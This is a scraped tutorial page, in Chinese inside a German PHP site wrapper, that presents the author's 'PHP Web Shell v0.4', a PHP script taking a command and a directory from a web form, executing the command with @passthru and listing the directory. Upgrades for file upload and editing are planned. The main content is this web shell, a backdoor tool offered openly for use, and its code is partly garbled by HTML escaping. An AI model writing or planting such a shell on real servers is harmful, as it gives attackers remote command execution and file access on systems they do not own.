Heim >Backend-Entwicklung >PHP-Tutorial >PHP Shell的编写(改进版)_PHP

PHP Shell的编写(改进版)_PHP

WBOY
WBOYOriginal
2016-06-01 12:29:58923Durchsuche

  以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!

程序介绍:

程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录


未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能

程序代码:



PHP Web Shell v0.4



PHP Web Shell v0.4
适用系统:Win32/Linux/Unix/BSD


//获取脚本本身
输入命令
value="执行" class=input>

输入目录
value="浏览" class=input>



<br><font size="2" color="000000" class="font"><br><?php <BR>echo "服务器地址: <a href="%5C%22http://%24_SERVER%5BSERVER_NAME%5D%5C%22">$_SERVER[SERVER_NAME]</a><br>"; //显示服务器域名或IP地址<br>echo "本文件路径: $_SERVER[PATH_TRANSLATED]";  //显示文件所在路径<br>?>

<p><br><?php <BR>if(!empty($cmd)) {<br>echo "执行 <font color="red">$cmd</font> 命令后的结果:<br>"; //执行命令后的提示<br>}<br>if(!empty($dir)) {<br>echo "浏览目录 <font color="red">$dir</font> 的结果:<br>"; //查看目录后的提示<br>}<br>?><br></p>
<hr size="1">
<br><?php <BR>if(empty($cmd) && empty($dir)) { //判断有没有输入命令,如果没有则出现错误提示<br>    echo " 请输入你要执行的命令或要浏览的目录!<br>(请确定系统有相应的命令或目录及相应操作的权限)<br>";<br>}<br>@passthru($cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等<br>$f = @opendir($dir);  //利用opendir()函数来获取目录信息赋值给变量<br>while($file = @readdir($f)) { //使用readdir()函数循环读取目录信息<br>    echo "$file\n"; //分行显示获取的目录信息<br>}<br>?><br></font><br>


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn